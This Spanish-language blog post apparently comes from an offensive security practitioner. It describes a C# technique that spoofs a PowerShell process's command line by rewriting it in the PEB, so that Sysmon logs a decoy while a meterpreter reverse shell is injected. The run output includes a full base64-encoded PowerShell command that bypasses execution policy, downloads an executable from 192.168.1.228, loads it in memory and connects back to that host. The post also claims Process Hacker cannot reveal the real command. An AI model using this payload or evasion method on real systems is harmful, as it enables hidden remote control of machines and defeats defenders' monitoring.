
Cómo suplantar la línea de comandos al iniciar un nuevo proceso desde C#.
Un ejemplo de uso de C# para inyectar un shell meterpreter, mientras se falsifica la línea de comandos. La línea de comandos se almacena en el Bloque de Entorno del Proceso, se registra cuando se inicia un nuevo proceso y se muestra en herramientas como Process Hacker y Task Manager.
Este código se basa en el blog How to Argue like Cobalt Strike de Adam Chester/XPN, el blog explica cómo Cobalt Strike falsifica la línea de comandos de un proceso al inyectar un beacon.
Usé esto como base para crear una versión en C# que genera un proceso de PowerShell e inyecta una shell reversa de meterpreter. Ciertamente no hay necesidad de un binario .Net para hacer esto, pero demuestra cómo se pueden falsificar comandos.
Se inicia un nuevo proceso en estado suspendido con un argumento de línea de comandos falsificado.
El comando falsificado se registra, pero podemos cambiar la línea de comandos en el PEB del proceso. Cuando se reanuda el hilo principal, el proceso utiliza la nueva línea de comandos en el PEB.
La ejecución del código se muestra a continuación:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
Este ejemplo inyecta una shell reversa de meterpreter usando PowerShell, pero se registra con un argumento de línea de comandos falsificado.
Sysmon registra la línea de comandos original (falsificada):

Process Hacker no revela el comando ejecutado:
